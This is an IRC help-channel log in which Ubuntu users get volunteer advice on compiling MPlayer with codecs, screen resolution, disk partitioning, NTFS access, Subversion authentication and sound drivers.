[01:53] <malek> McQueen: Then it will come up with a list of different versions to get, with a choice of mirrors to download from - just choose the one closest to you.
[01:53] <ikonia> oren: read up on it
[01:54] <malek> McQueen: get the latest version (1.0rc1)
[01:54] <Ahorner> i need to change my resolution. ive enabled universe and downloaded envy and extracted it. now what
[01:54] <McQueen> malek: which one :)
[01:54] <Menasim1> Investigating openoffice.org-l10n-ar
[01:54] <Menasim1> Investigating openoffice.org-l10n-ar
[01:54] <PriceChild> Menasim1, have you upgraded your openoffice using a 3rd party repo?
[01:54] <Menasim1> Investigating openoffice.org-l10n-ar
[01:54] <Menasim1> Investigating openoffice.org-l10n-ar
[01:54] <ikonia> oren: deluge isn't in the ubuntu repo's
[01:54] <spuck> PriceChild Yes, it boots that's what I said in my first post. :P But all mount thingies can't find file/device
[01:54] <PriceChild> Menasim1, please don't paste into channel
[01:54] <PriceChild> !paste | Menasim1
[01:54] <ubotu> Menasim1: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[01:54] <malek> McQueen: 1.0rc1 source
[01:54] <McQueen> malek: http://www1.mplayerhq.hu/MPlayer/releases/MPlayer-1.0rc1.tar.bz2
[01:54] <McQueen> ?
[01:54] <malek> McQueen: yeah
[01:54] <oren> ikonia: i installed it. i don't know how to use it...)-:
[01:54] <spuck> PriceChild Then everything just stops
[01:54] <ikonia> oren: its not in the ubuntu repo's - how did you install it
[01:55] <McQueen> malek: 5 minutes
[01:55] <malek> McQueen: while that's downloading, just check to see if you have bunzip2 - just type bunzip2 in a terminal
[01:55] <oren> ikonia: i think that i serached on sinoptic..
[01:55] <Ahorner> wait guys, i think i got it
[01:55] <Menasim1> PriceChild no
[01:55] <ikonia> oren: its not in synaptic
[01:55] <Ahorner> i downloaded the wrong package
[01:56] <malek> McQueen:  if you don't have it, just do sudo apt-get install bunzip2
[01:56] <PriceChild> Menasim1, please pastebin your /etc/apt/sources.list
[01:56] <malek> McQueen:  or bzip2
[01:56] <McQueen> malek: http://www1.mplayerhq.hu/MPlayer/releases/MPlayer-1.0rc1.tar.bz2
[01:56] <McQueen> malek: sorry
[01:56] <oren> ikonia: i don't remember where did i get it from.
[01:56] <Ahorner> does ubuntu suppport 1400 x 900 resolution?
[01:56] <McQueen> malek: bunzip2: I won't read compressed data from a terminal.
[01:56] <McQueen> bunzip2: For help, type: `bunzip2 --help'.
[01:56] <McQueen> malek: its ok?
[01:56] <ikonia> oren: its not an ubuntu product/package - therefore its not an ubuntu support issue
[01:56] <Grifer> why parted doesn't wan't to show all partitions of 120 gb hd?! it shows only the free space!
[01:56] <dsfgsdk> hi
[01:56] <Ahorner> grifer,
[01:57] <Ahorner> you ave to set a file structuire for it
[01:57] <Ahorner> right click it then new
[01:57] <Grifer> Ahorner, can you explain, please?
[01:57] <malek> McQueen: yeah, you've got it
[01:57] <Ahorner> umm
[01:57] <McQueen> malek: ok
[01:57] <Ahorner> go in to disk partitioner
[01:57] <dsfgsdk> hey guys i need some help is anyone able to help me?
[01:57] <oren> ikonia: so this chat is only for ubuntu 'authentic' apps? sorry, i had now idea..
[01:57] <ikonia> oren: no problem
[01:58] <malek> McQueen: when the downloading is finished, go to the directory where the file is in a terminal, and do this:
[01:58] <Grifer> Ahorner it fails
[01:58] <oren> ikonia: first week with Linux..
[01:58] <Ahorner> o
[01:58] <seikai> Hmm.. I have the hurd 5, can I update to the BETA or is it wise just to download the beta?
[01:58] <Grifer> and doesn't really explain why it has lost 90 gigas
[01:58] <seikai> Are a lot of patches included in the beta that aren't included in hurd 5
[01:58] <nalioth> sig__: join #ubuntu+1 please
[01:58] <Ahorner> so you cant open disk partitioner
[01:58] <ikonia> oren: ok
[01:58] <PriceChild> oren, If you get software outside of our repositories... we can't help with them as we don't have any control over them :)
[01:58] <Grifer> is there a simple command that forces formation of dev/sdb/? anyone?
[01:58] <rpm13> leave #ubuntu
[01:58] <nalioth> seikai: join #ubuntu+1 please
[01:59] <erUSUL> seikai: a normal upgrade should have upgraded to the beta already
[01:59] <malek> McQueen:  "bunzip2 <filename.tar.bz2>", then "tar -xvf <filename.tar>"
[01:59] <phyro> hi
[01:59] <Ahorner> :-(
[01:59] <phyro> i have a probe
[01:59] <oren> ikonia: can i recommand any bittornet client that i can get support?
[01:59] <oren> i=u
[01:59] <phyro> i have a problem
[01:59] <dsfgsdk> CAN ANYone tell me how to install ubuntu on windows without removing windows?
[01:59] <McQueen> malek: ok
[01:59] <seikai> erUSUL: Hmm..
[01:59] <Ahorner> i installed envy but i still cant change the resolution
[01:59] <ikonia> oren: search synatpic - there are plenty
[01:59] <phyro> with cpu freqd
[01:59] <Ahorner> o wait
[01:59] <Ahorner> i need a restart
[01:59] <Ahorner> brb guys
[01:59] <PriceChild> !torrent | oren
[01:59] <ubotu> oren: Torrent clients: Azureus (Java), BitTornado (Shell with python front-end), KTorrent (KDE/Qt)  -  Bittorent FAQ: http://www.bittorrent.com/FAQ.html
[01:59] <Alien_Invader> dsfgsdk, that easy.
[01:59] <oren> ikonia : got it, 10x
[01:59] <Grifer> Ahorner I can open parted or gparted, but they fail formatting even the 30 gig which is free unformated
[02:00] <PriceChild> oren, both of those are installable from the repos
[02:00] <vox754> The new ubuntu is coming http://permalink.gmane.org/gmane.linux.ubuntu.announce/99 discuss this on #ubuntu+1
[02:00] <Ahorner> umm
[02:00] <dsfgsdk> well maybe
[02:00] <ferret_0568> I have two packages that I don't want upgraded, ever. "libwnck18" and "libwnck-common". Because, this particular *upgrade* is an upgrade from a official Ubuntu release of those to a broken one which I had to downgrade. I got the packages to never upgrade when I use aptitude, but apt-get and update-manager do not respect the decision. Is there a way to make this version-keeping work properly?
[02:00] <phyro> my cpufreqd doesn't work
[02:00] <oren> PriceChild: thanks
[02:00] <dsfgsdk> but i am not a copmuter geek lol
[02:00] <Grifer> rest isn't even visible
[02:00] <Romexios> can someone please help me? i downloaded irssi and installed it.. it doesnt show on the "internet" sextion + when i do run "irssi" and press enter, nothing happends.. any idea?
[02:00] <phyro> i need help
[02:00] <phyro> !
[02:00] <dsfgsdk> could u please help me ?
[02:00] <Ahorner> dont format it, right click it and click new and change the file structure to ex3
[02:00] <PriceChild> ferret_0568, are those broken ones in a 3rd party repo? :P
[02:00] <ikonia> dsfgsdk: with what
[02:00] <ferret_0568> Duh
[02:00] <nalioth> Romexios: irssi is a console program.  open a terminal and type "irssi" <enter>
[02:00] <Grifer> but strangely I can access that 90gb ntfs from terminal no problem
[02:00] <McQueen> malek: before install the new version, do i have to uninstall old version?
[02:00] <Menasim1> the paste gives me a text what do I do to it?
[02:00] <Ahorner> hmm
[02:00] <Menasim1> deb-src http://archive.ubuntu.com/ubuntu/ edgy main restricted universe multiverse
[02:00] <dsfgsdk> how to use ubuntu on windows
[02:00] <Menasim1> ## Major bug fix updates produced after the final release of the
[02:00] <Grifer> Ahorner: I told it doesn't work
[02:00] <Menasim1> ## distribution.
[02:00] <Menasim1> deb http://archive.ubuntu.com/ubuntu/ edgy-updates main restricted universe multiverse
[02:01] <Menasim1> deb-src http://archive.ubuntu.com/ubuntu/ edgy-updates main restricted universe multiverse
[02:01] <mshade> Romexios: it's a terminal app
[02:01] <Menasim1> ## Uncomment the following two lines to add software from the 'universe'
[02:01] <Ahorner> is there anything you need on it?
[02:01] <Grifer> no I copied everything, now just format it
[02:01] <Ahorner> ok
[02:01] <Ahorner> how many partitions are on it
[02:01] <Grifer> seems to be 2
[02:01] <Alien_Invader> dsfgsdk.  just leave a blank drive for ubuntu, then install,
[02:01] <phyro> someone can help me?
[02:01] <Dabian> Grifer : 2?
[02:01] <ikonia> phyro: with what
[02:01] <Dabian> phyro : If not anyone.
[02:01] <malek> McQueen: not necessarily, but it would be better.  Don't worry about that until we know we can compile it.  Once we know it works we'll do that and then install it properly.
[02:01] <Grifer> or 1, other has no filesystem and can't be created either
[02:01] <Romexios> mshade: ah..
[02:01] <Ahorner> right click one and resize it so it is the whold thing
[02:01] <dsfgsdk> i have ubuntu on a cd
[02:01] <nalioth> Menasim1: please don't paste in here any more
[02:02] <dsfgsdk> but i cant use it
[02:02] <Alien_Invader> at the last step, install grub .
[02:02] <Dabian> Menasim1 : Or face the quantiquenches!
[02:02] <Menasim1> OK I'm sorry :(
[02:02] <Ahorner> then delete the filesystem
[02:02] <Grifer> Ahorner: I told you the 90 gig filesystem is not visible so I can't resize the free space over it
[02:02] <Ahorner> then make a new one
[02:02] <PriceChild> Menasim1, please give us the url the pastebin ended at
[02:02] <Ahorner> o not visible
[02:02] <Ahorner> hm
[02:02] <Menasim1> aha
[02:02] <Ahorner> what brand drive do you have
[02:02] <Grifer> samsung
[02:02] <Ahorner> hmm
[02:02] <Grifer> IDE
[02:02] <Ahorner> brb
[02:02] <Menasim1> http://paste.ubuntu-nl.org/11842/plain/
[02:03] <vox754> dsfgsdk, there is no safe way to use "Ubuntu under Windows". You may try using a Virtual Machine, but the standard way is to create a separate partition for Ubuntu, which means resizing the info you currently have under Windows.
[02:03] <phyro> my cpufreq is always at 100%
[02:03] <PriceChild> Menasim1, hmm yeah you don't have anything odd in there...
[02:03] <phyro> cpufreqd doesn't work
[02:03] <phyro> !
[02:03] <kev_> !ntfs
[02:03] <ubotu> To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions . For write access see !ntfs-3g or !fuse
[02:03] <Alien_Invader> does install grub on the ubuntu drive work?
[02:04] <Menasim1> oh I remeber something
[02:04] <McQueen> malek: all commands are ok
[02:04] <kev_> !ntfs-3g
[02:04] <ubotu> ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but please remember to keep backups of critical data. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)
[02:04] <Menasim1> today I used the update maneger and updated it
[02:04] <malek> McQueen: ok, now cd into the new directory
[02:04] <PriceChild> Menasim1, please "sudo apt-get update" then "sudo apt-get install ubuntu-desktop" (or kubuntu-desktop etc.) then "sudo apt-get dist-upgrade" Then try doing the upgrade again
[02:04] <malek> if you do an ls you should see a whole bunch of files, some ith names like "configure" and so on
[02:04] <ferret_0568> deb http://thomas.pub.enix.org, repository.debuntu.org, ubuntu.beryl-project.org, static.audacious-media-player.org, download.skype.com/linux/repos/debian/
[02:04] <ferret_0568> deb-src http://ubuntu.beryl-project.org edgy main
[02:04] <ferret_0568> deb-src http://static.audacious-media-player.org/ubuntu edgy main
[02:04] <ferret_0568> All in my sources.list, on Edgy
[02:04] <McQueen> malek: then
[02:05] <skar> hi, i'm using a serial ball mouse with dapper, and dapper has set a ps/2 driver in xorg.conf, anyone know how to make it work?
[02:05] <malek> McQueen: okay, now do this "./configure > ~/tempfile"
[02:05] <malek> this will take a while
[02:06] <nalioth> !tell ferret_0568 about paste
[02:06] <ferret_0568> Err...about 6 lines...
[02:06] <tuxcrafter> i want to controll the cpu load of a program
[02:06] <McQueen> malek: its ok
[02:06] <PriceChild> ferret_0568, please read the pm from ubotu
[02:06] <ferret_0568> The pastebin in the channel topic is ok?
[02:06] <ferret_0568> sure
[02:06] <malek> McQueen: when it's done there will be a file in your home directory (do cd ~ to get there) called "tempfile".  Paste that into the web page like you did before and give me the url
[02:06] <nalioth> tuxcrafter: open a console and type "man nice"
[02:07] <tuxcrafter> there is nice but i am looking for a tool that i can give a maximum cpu tool
[02:07] <Ahorner> dangit
[02:07] <Ahorner> i installed envy but i still cant change the resolution
[02:07] <tuxcrafter> like i saw a program can only use 50% of my cpu capacity
[02:07] <vox754> #ubuntu+1
[02:07] <ferret_0568> ok did you read my post that violated the rules?
[02:07] <ferret_0568> If not,. it's ok
[02:08] <Ahorner> what are some irc commands?
[02:08] <ferret_0568> I'll just use pastebin then...
[02:08] <ferret_0568> type /help
[02:08] <Ahorner> cool
[02:08] <ferret_0568> lots of different ones
[02:09] <skar> hi, i'm using a serial ball mouse with dapper, and dapper has set a ps/2 driver in xorg.conf, anyone know how to make it work?
[02:09] <ferret_0568> You need to set the port the mouse is on
[02:09] <TomB_> what /dev/xyz are USB drives usually?
[02:09] <tuxcrafter> whois TomB_
[02:09] <ferret_0568> ttys0 is com1 in MS terms
[02:09] <ikonia> tuxcrafter: they are seen as scsi
[02:09] <Ahorner> so can anybody help me change my resolution to 1440 x 900?
[02:09] <Daverocks> TomB_: /dev/sdaX or sometimes /dev/sdbX if you have a scsi HD
[02:09] <ferret_0568> ttys1 is com2, etc.
[02:09] <tuxcrafter> ikonia: ? scsi
[02:09] <Ahorner> me
[02:09] <nalioth> !tell Ahorner about xcfg
[02:09] <ikonia> tuxcrafter: yes, scsi
[02:10] <Ahorner> xcfg?
[02:10] <TomB_> Daverocks, thanks
[02:10] <tuxcrafter> !scsi
[02:10] <nalioth> Ahorner: look at your private messages
[02:10] <Daverocks> TomB_: np
[02:10] <ubotu> Sorry, I don't know anything about scsi - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[02:10] <fasm_erx_CC2_> Disto: stil there? I was able to successfully install the newest version of subversion but still the same problem
[02:11] <fasm_erx_CC2_> It always ask me for the password
[02:11] <dsfgsdk> can any1 tell me how to instal ubuntu froma live cd ..couse i dont know the way i am a beginner
[02:11] <fasm_erx_CC2_> And access denied all the time
[02:11] <fasm_erx_CC2_> dsfg: There is a installer there
[02:11] <McQueen> malek: http://paste.ubuntu-nl.org/11845/
[02:11] <Daverocks> dsfgsdk: can you boot from the live CD?
[02:11] <ferret_0568> Does anyone know how to make "libwnck18" and "libwnck-common" never be upgraded, even by apt-get and update-manager?
[02:11] <KalleDK> dsfgsdk Put it in the cdrom drive.. boot up hit install
[02:11] <ferret_0568> btw, how good is the development release?
[02:11] <PriceChild> !install | dsfgsdk
[02:11] <ubotu> dsfgsdk: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall and https://wiki.ubuntu.com/DapperReleaseNotes/UbiquityKnownIssues - See also !automate
[02:12] <shd0w> whats up guys?
[02:12] <KalleDK> !automate
[02:12] <ubotu> Ways to automate installation of Ubuntu on multiple machines are described at https://help.ubuntu.com/6.10/ubuntu/installation-guide/i386/automatic-install.html - See also !cloning
[02:12] <kev_> how do i get write access to my external usbdisk-1 drive, its NTFS and i have the ntfs-3g thing installed but what do i do now to get it to work?
[02:12] <ferret_0568> I'm willing to take chances with it, and my friend tried it, I said it would be hell, he said no
[02:12] <DGJ> Can somebody give me some advice on an installation of ubuntu, specifically partition sizes and what partitions to set up to make thing easier in future, I've got windows on hda, Ubuntu is going on hdb which is 80gb
[02:12] <ferret_0568> It wasn't hell
[02:13] <PriceChild> !install > DGJ (Please see the pm from ubotu)
[02:13] <kazim86> !install > kazim86
[02:13] <ferret_0568> What I want to know, is where I can get a .deb of a newer Evince for Edgy
[02:13] <erUSUL> DGJ: root / , swap and /home partitions are a sefe choice
[02:13] <ferret_0568> I need that
[02:13] <dsfgsdk> deverocks ...no i cant
[02:13] <dsfgsdk> thats the problem ...i think
[02:14] <PriceChild> DGJ, erUSUL You don't "really" need a home either... just root and swap are fine. Partitioner will do it all if you let it
[02:14] <KalleDK> Well can you get to the place where you choose if you want to install linux / run the livecd
[02:14] <nalioth> PriceChild: yes, but having a /home makes things easier when mucking about (you tend not to lose everyrthing when you have one)
[02:14] <KalleDK> If not then try to check if the bios is set to boot harddrives before cd
[02:14] <shd0w> hey have any of you guys done the perfect ubuntu server setup on howtoforge??
[02:15] <JonathanD> that was intelligent, Stickymaddness
[02:15] <PriceChild> KalleDK, just boot off the desktop cd. The installer is then a program once booted
[02:15] <DGJ> PriceChild, erUSUL thanks for the link & the suggestion - I did want to keep home as a seperate partition while i was doing this installation
[02:15] <PriceChild> nalioth, I'm lazy and that's easier :)
[02:15] <Pnquin007> Hi, anybody which have laptop Acer Aspire 3650
[02:15] <erUSUL> PriceChild: i advice a home partition becouse it makes life easier in general if you want to reinstall switch distributions etc while maintaining your data relatively safe
[02:15] <PriceChild> erUSUL, very true :)
[02:15] <seikai> Pnquin007: I suggest you ask the question.
[02:15] <fasm_erx_CC2_> dystopianray: Still there?
[02:15] <Stickymaddness> Hi everyone, is anyone willing to help me with a Q3A sound problem?
[02:15] <KalleDK> PriceChild dsfgsdk is the one that want help ;)
[02:16] <McQueen> malek: u there?
[02:16] <PriceChild> KalleDK, whoops :)
[02:16] <Ahorner> can somebody tell me the xconfig thingy again?
[02:16] <fasm_erx_CC2_> dsfgs: Nice name. I do that too when I feel lazy
[02:16] <malek> McQueen: Okay this looks good.  Now I doubt I'm going to be able to stay up much longer, but the next step is to compile.  Now I've deliberately left a step out because I wanted to make sure this worked.  You need to get another set of files if you want to enable wmv.  download the "binary codecs for linuxx86"
[02:16] <Adamantinus> Does anyone know how to edit the settings for the nvidia-glx drivers to remove the login splash?
[02:16] <Pnquin007> seikai, Yes yes
[02:16] <dsfgsdk> yea but no1 cant understand me ..as it seems lol
[02:16] <PriceChild> !xconfig | Ahorner
[02:16] <ubotu> Ahorner: To reconfigure your X server, open a console and type  sudo dpkg-reconfigure xserver-xorg  - To configure only the driver and resolution, type  sudo dpkg-reconfigure xserver-xorg -phigh  - See also !FixRes
[02:16] <Adamantinus> I did it once before, it's not hard, I just don't know what file.
[02:16] <Ahorner> huh
[02:16] <malek> McQueen: you'll find them on the same page as the main mplayer source download.
[02:16] <PriceChild> Adamantinus, login splash?
[02:16] <Ahorner> k
[02:16] <fasm_erx_CC2_> Anyone ever used subversion here?
[02:16] <KalleDK> yes
[02:16] <malek> McQueen: you need to download them and uncompress them.
[02:16] <PriceChild> Adamantinus, you mean when X boots? Not the login splash?
[02:17] <jrib> fasm_erx_CC2_: sure, just ask your question
[02:17] <KalleDK> fasm_erx_CC2_ Im using subversion
[02:17] <McQueen> malek: are you going?
[02:17] <Adamantinus> Well, it's before the login, but yeah.
[02:17] <infornography> I just installed Ubuntu on this computer I intend to use as a media centre. I was told that MythTV was available by default, but I don't see it. I have enabled the universe and multiverse repositories. Are there others I need to add too?
[02:17] <malek> McQueen: not yet!
[02:17] <Adamantinus> The nvidia logo on white.
[02:17] <Adamantinus> I saw a command to remove that, and did it with ease, but I don't remember what file I changed from yes to no to do it.
[02:17] <malek> McQueen: I will be soon though
[02:17] <vox754> dsfgsdk, there is no safe way to use "Ubuntu under Windows". You may try using a Virtual Machine, but the standard way is to create a separate partition for Ubuntu, which means resizing the drive you currently have under Windows.
[02:17] <malek> McQueen: but I found a web page that will help you once I'm gone
[02:17] <McQueen> malek: ok
[02:17] <jrib> Adamantinus: it's an option your add to /etc/X11/xorg.conf .  It is mentioned in the wiki page
[02:17] <dsfgsdk> hmm k
[02:18] <dsfgsdk> and how can i do that?
[02:18] <Adamantinus> jrib: Oh, okay, cheers.
[02:18] <nalioth> !tell infornography about mythtv
[02:18] <fasm_erx_CC2_> jrib, kalledk: I just complied the new version of subversion. isto and ikonia said I need to configure it since I'm having problem with the password. It always ask me to enter the password though its correct already.
[02:18] <dsfgsdk> should i buy magic partition?
[02:18] <jrib> !nvidia > Adamantinus    (Adamantinus, see the private message from ubotu)
[02:18] <fasm_erx_CC2_> Where do I configure the password?
[02:18] <malek> McQueen: It's okay - once I'm gone the hardest part will be done.
[02:18] <fasm_erx_CC2_> password config
[02:18] <PriceChild> Adamantinus,   Option     "NoLogo" "true"
[02:18] <PriceChild> Adamantinus, put that in section device in /etc/X11/xorg.conf
[02:18] <vox754> !who > dsfgsdk
 fasm_erx_CC2_: in ~/.subversion/config make sure the line 'store-passwords = no' is commented out
[02:19] <Adamantinus> Thanks, guys. Knew it was easy.
[02:19] <fasm_erx_CC2_> Not sure where to locate config
[02:19] <Stickymaddness> anyone :?
[02:19] <Grifer> how to just format a volume? like "format D:" in windows?
[02:19] <McQueen> malek: http://www1.mplayerhq.hu/MPlayer/releases/codecs/essential-20061022.tar.bz2
[02:19] <McQueen> malek: true?
[02:19] <dsfgsdk> vox754,  magic partition should i use this program?
[02:19] <malek> McQueen: download those codecs, and then uncompress them.  There will be a READNE file in there which will tell you to put them in /usr/local/lib/codecs/
[02:19] <malek> McQueen: yes, that's right
[02:19] <fasm_erx_CC2_> Jrib: I have a question above
[02:20] <vox754> dsfgsdk, the Ubuntu installer has a free partitioner program. When it comes to partitions there are free programs, you don't have to buy a thing.
[02:20] <oren> Hello. I downloaded BitTornado, and it asks me for .bittirrent file to use. any ideas?
[02:20] <malek> McQueen: then you copy everything in the archive into /usr/local/lib/codecs/ (you will have to sudo it)
[02:20] <Pnquin007> I've problem with sound and ACPI o Acer Aspire 3650 (Intel Celeron, ATI200 chipset). Laptop sounds, but i can't setup volume, microphone is off. ACPI doesn't send informations to programs which a don't wanna run on battery and when i close display, laptop doesn't susspend.
[02:20] <dsfgsdk> well i have the cd ...i am on windows and i am trying to use ubuntu ...but i dont know how to do that
[02:20] <malek> McQueen: don't transfer the directory itself, just the files inside it.
[02:20] <McQueen> malek: i c
[02:21] <dsfgsdk> couse its not working...its says launching browser please wait
[02:21] <BlaZoRz> uit
[02:21] <dsfgsdk> and than it stops
[02:21] <Pnquin007> sorry for my terrible english, it's not my natural language
[02:21] <jrib> fasm_erx_CC2_: so you can upload changes to the server but it asks you for the password every time?  Or does it fail to upload and keep prompting you for the password?
[02:21] <dsfgsdk> maybe i am trying with the wrong way
[02:22] <McQueen> malek: you said that  then you copy everything in the archive into /usr/local/lib/codecs/ (you will have to sudo it)
[02:22] <nalioth> oren: you need a .torrent file so it can download
[02:22] <daedra> Ratts Of The Capital
[02:22] <malek> McQueen: let me know when you've done that.  if you type "ls" in /usr/local/lib/codecs/ it should come up with all the codecs
[02:22] <Ahorner> i did the 2 xconfigs now what
[02:22] <whyameye> Pnquin007: dapper or edgy? Regarding sound, did you double-click (not single-click) on the speaker icon and play with the sliders for playback and capture?
[02:22] <McQueen> malek: i didnt understand that (you will have to sudo it)
[02:22] <oren> nalioth: 10x. where do i get it?
[02:22] <fasm_erx_CC2_> jrib: I'm trying to checkout right now.
[02:22] <McQueen> malek: its downloading %44
[02:22] <nalioth> oren: ubuntu.com/download offers .torrent files
[02:22] <malek> McQueen: yes, you will have to do it as root, i.e. "sudo cp ./* /usr/local/lib/codecs/"
[02:22] <Pnquin007> whyameye, Dappr
[02:22] <Ahorner> elp me
[02:23] <McQueen> malek: oh i c
[02:23] <vox754> dsfgsdk, come to #vocx for private help
[02:23] <oren> nalioth: great, i'll try it.
[02:23] <malek> McQueen: you need root privileges to modify anything in /usr
[02:23] <Ahorner> wats fixres
[02:23] <Ahorner> and how do it
[02:23] <McQueen> malek: i c
[02:23] <jrib> fasm_erx_CC2_: have you tried to see if it happens on a different server?
[02:23] <nalioth> malek: we don't use root here. we use sudo  (there is no root user by default)
[02:23] <Pnquin007> whyameye, after clicking on speaker icon i see mixer, bat no sliders are there :-(
[02:23] <vox754> oren, the .torrent files are the ones you want to download, just search the web for "whatever .torrent" and watch out
[02:23] <McQueen> malek: let me to know when you r going...
[02:24] <Pnquin007> whyameye, Sorry Edgy, Xubuntu
[02:24] <oren> vox754 : ok...
[02:24] <fasm_erx_CC2_> Jrib: I have been using the same url on a windows machine it works fine. I trying to use svn for the first time under ubuntu.
[02:24] <whyameye> Pnquin007: run alsamixer from the terminal and see if you get better results.
[02:24] <fasm_erx_CC2_> Its not going right so far.
[02:24] <seikai> malek: The term you're looking for is super user privileges.
[02:24] <fasm_erx_CC2_> Always asks me for the password
[02:25] <whyameye> Pnquin007: you might also try the #xubuntu channel because I don't know anything about the icons you will see for xfce.
[02:25] <Ahorner> ehh i still cant change my resolution!!!
[02:25] <malek> seikai : same thing isn't it?  privileges of "root" are super user privileges - root IS the super user, right?
[02:25] <Pnquin007> whyameye, System is same, change is only in desktop
[02:25] <Sonique99> can someone guide me in resizing an ext3 partition?
[02:25] <Ahorner> help me change resolution
[02:25] <Pnquin007> whyameye, alsamixer says: alsamixer: function snd_mixer_load failed: Invalid argument
[02:26] <Sonique99> gparted wont let me enlarge it, only shrink it
[02:26] <jrib> fasm_erx_CC2_: did the version in the repositories do this?
[02:26] <Sonique99> and i have 32 gigs unallocated
[02:27] <Pnquin007> whyameye, On desktop all works fine... :'(
[02:27] <whyameye> Pnquin007: you are starting to have something to google. Do you know the soundcard chipset?
[02:27] <fasm_erx_CC2_> Jrib: than url is svn+ssh
[02:27] <fasm_erx_CC2_> Is using ssh tunnleing
[02:27] <fasm_erx_CC2_> anyway I'll try other servers
[02:27] <seikai> malek: Pretty much, but there is no defined 'root' user.
[02:27] <seikai> Unless you're using the term casually in *nix
[02:28] <seikai> Ubuntu doesn't make use of a root user.
[02:28] <Pnquin007> whyameye, Audio device: ATI Technologies Inc Unknown device 437b (rev 01)
[02:28] <seikai> SuperUserDO
[02:28] <PriceChild> !sudo
[02:28] <ubotu> sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[02:28] <whyameye> Pnquin007: what does "lspci | grep audio" give you from the terminal?
[02:28] <malek> seikai: yeah, but you can just go "sudo su" and then you become root, complete with #, plust ehre are processes running as root, so there still is a root user - he's just hidden, kindof.
[02:29] <fasm_erx_CC2_> Jrib: I tried a server which doesnt use password and it works
[02:29] <fasm_erx_CC2_> But with the server I'm trying to do checkout it doesnt
[02:29] <seikai> meh
[02:29] <malek> seikai: there's even a directory called "root"
[02:29] <Pnquin007> whyameye, nothing...
[02:29] <jrib> fasm_erx_CC2_: does it actually tell you your password is incorrect?
[02:30] <fasm_erx_CC2_> jrib: Permission denied
[02:30] <Pnquin007> lspci | grep Audio   00:14.2 Audio device: ATI Technologies Inc Unknown device 437b (rev 01)
[02:30] <seikai> malek: Yes, there is.
[02:30] <kev_> !ntfs-3g
[02:30] <nalioth> malek: you will break your system doing that
[02:30] <ubotu> ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but please remember to keep backups of critical data. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)
[02:30] <malek> seikai: yeah, it's neither here nor ther, but let's not forget who was getting pedantic to start with ;-)
[02:30] <seikai> You wouldn't understand.
[02:30] <Pnquin007> whyameye, 00:14.2 Audio device: ATI Technologies Inc Unknown device 437b (rev 01)
[02:31] <malek> nalioth: how so?
[02:31] <nalioth> malek: just because you can drive your car while lying on the hood of it, doesn't make it "the correct thing to do"
[02:31] <McQueen> malek: there isnt any directory /usr/local/lib/codecs/
[02:31] <seikai> :) k
[02:31] <malek> nalioth: I wasn't suggesting anyone actually log in as root, i was just saying that one needed root privileges
[02:31] <nalioth> McQueen: make one
[02:32] <nalioth> malek: right, we call 'em "superuser priveleges"
[02:32] <malek> McQueen: so "sudo mkdir /usr/local/lib/codecs/"
[02:32] <Pnquin007> whyameye, lsmod | grep snd
[02:32] <Pnquin007> snd_hda_intel          20116  0
[02:32] <Pnquin007> snd_hda_codec         164608  1 snd_hda_intel
[02:32] <Pnquin007> snd_pcm_oss            47360  0
[02:32] <Pnquin007> snd_mixer_oss          19584  1 snd_pcm_oss
[02:32] <Pnquin007> snd_pcm                84612  3 snd_hda_intel,snd_hda_codec,snd_pcm_oss
[02:32] <Pnquin007> snd_timer              25348  1 snd_pcm
[02:32] <Pnquin007> snd                    58372  6 snd_hda_intel,snd_hda_codec,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_timer
[02:32] <Pnquin007> soundcore              11232  1 snd
[02:32] <defrysk> !paste
[02:32] <Pnquin007> snd_page_alloc         11400  2 snd_hda_intel,snd_pcm
[02:32] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[02:33] <seikai> Christ.
[02:33] <McQueen> malek: ok. copied
[02:33] <malek> nalioth: yeah, that was the whole conversation I was having with seikai... I argued that they're the same thing.  I'm not sure if anyone won the argument, but I think we stopped caring because it was close enough... ;-)
[02:33] <tcleval> hey, do you guys know any file hosting site compatible with linux? I've used gmailfs, but I am looking for other options
[02:33] <malek> nalioth: root, super user, same diff... sorry, but old habits are hard to break!
[02:33] <seikai> malek: I just don't think there's sense in either of our arguments.
[02:34] <Ahorner> dangit
[02:34] <McQueen> malek: i unzip the file then copied to /usr/local/lib/codecs/
[02:34] <seikai> Linux by default makes use of the root user.
[02:34] <jrib> fasm_erx_CC2_: did you try to use the svn that is available through ubuntu's repositories?
[02:34] <seikai> super user is not the root user, it has the same privs.
[02:34] <nalioth> !paste Pnquin007
[02:34] <spuck> Ok, so I'm putting in the livecd. Come to the ubuntu menu. Press install now or whatever it says. Then my screen turns black and says: Attention Signal - Change video mode to 1280x1024.. What video mode is the installer in if my lcd cant even display it?
[02:34] <seikai> It's like operator
[02:34] <Ahorner> help me change the resolution guys, ive already installed envy but it still doesnt work!
[02:34] <ubotu> Sorry, I don't know anything about paste pnquin007 - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[02:34] <seikai> same privs.
[02:34] <malek> seikai: yeah, there's no sense at all... but root has less letters ;-)
[02:34] <Pnquin007> Sorry for copy && paste
[02:34] <coldfish> is there any channel about beagle?
[02:34] <PriceChild> malek, "root" and "super user privelages" are not the same
[02:34] <fasm_erx_CC2_> jrib: Yes I di first, but it did not work so I updated to the newer version. But same thing happened
[02:34] <nalioth> !tell Pnquin007 about pastebin
[02:35] <nalioth> Pnquin007: please read your private messages
[02:35] <seikai> malek: haha
[02:35] <jrib> fasm_erx_CC2_: ok, what command are you using and what directory are you executing it in?
[02:35] <malek> PriceChild yes, but "root privileges" and "super user privileges" are.
